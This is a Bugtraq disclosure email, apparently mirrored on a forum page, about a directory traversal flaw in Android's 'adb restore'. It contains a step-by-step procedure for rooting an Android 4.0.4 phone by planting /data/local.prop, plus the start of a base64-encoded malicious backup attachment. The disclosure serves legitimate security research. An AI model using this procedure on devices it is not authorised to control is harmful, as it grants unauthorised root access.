看板 Bugtraq 關於我們 聯絡資訊
--e89a8f502e7285035f04df96e80b Content-Type: text/plain; charset=ISO-8859-1 Hi, adb (Android Debug Bridge) backup/restore allows you to backup and restore applications via adb, including system applications. The backed up files are stored in tar.zlib (named .ab by default) files. "adb restore" is vulnerable to a directory traversal attack. By creating a file named "apps/com.andoird.settings/db/../../../local.prop" inside the backup file, the restore operation would restore the file onto /data/local.prop (rather than /apps/apps/com.android.settings/databases/...). The "apps","com.android.setttings" and "db" directory names are extracted for determining the package name and the directory (db=>database) to restore the relevant file onto, and everything that follows is expected to be the filename. This vulnerability is not specific to com.android.settings (demonstrated below), but rather any system application that support backup and restore. One can use this vulnerability for escalating privileges to root on Android phones supporting adb backup/restore (for example) as follows: # tested on HTC phone with android 4.0.4. This will likely work on other configurations as well with some modifications. # backup your settings app, before we overwrite its files. adb backup -f settings.ab com.android.settings (select approve to begin backup) # restore the malformed backup file, which will create /data/local.prop (with ro.kernel.qemu=1) -- attached to this email. adb restore special.ab # restart the phone. adb shell # adb should now run as root. # install SU, or create a setuid root shell somewhere. # delete /data/local.prop # the malformed backup file will likely break you settings app, so expect some oddities until it's all restored. adb restore settings.app Bin4ry and later Saurik had used a race condition in "adb restore" (http://forum.xda-developers.com/showthread.php?t=1886460) to gain root, while this attack also uses adb restore, it uses a different attack vector, and does not involve any race conditions. Thanks, Ariel. -- Recover Information Technologies LTD. http://www.recover.co.il --e89a8f502e7285035f04df96e80b Content-Type: application/octet-stream; name="special.ab" Content-Disposition: attachment; filename="special.ab" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hhtigjor0 QU5EUk9JRCBCQUNLVVAKMQoxCm5vbmUKeJztV1tuXDcM7bdXMSuYkBIpUR9dS0GJVBE08bi2s/+e 6yRGjSZB0qCPAKN56GpEUXwcHmn87u7h1bq8Pftt3F9ex/khHx9f3/768OqXt377eufD40/f24io EZ3Qc9cX/VMT7fXE3JS1k3A/ETdW/elE373zV7R3D49+D1O+V897X07P/Q/S+OZTyb9hPd43d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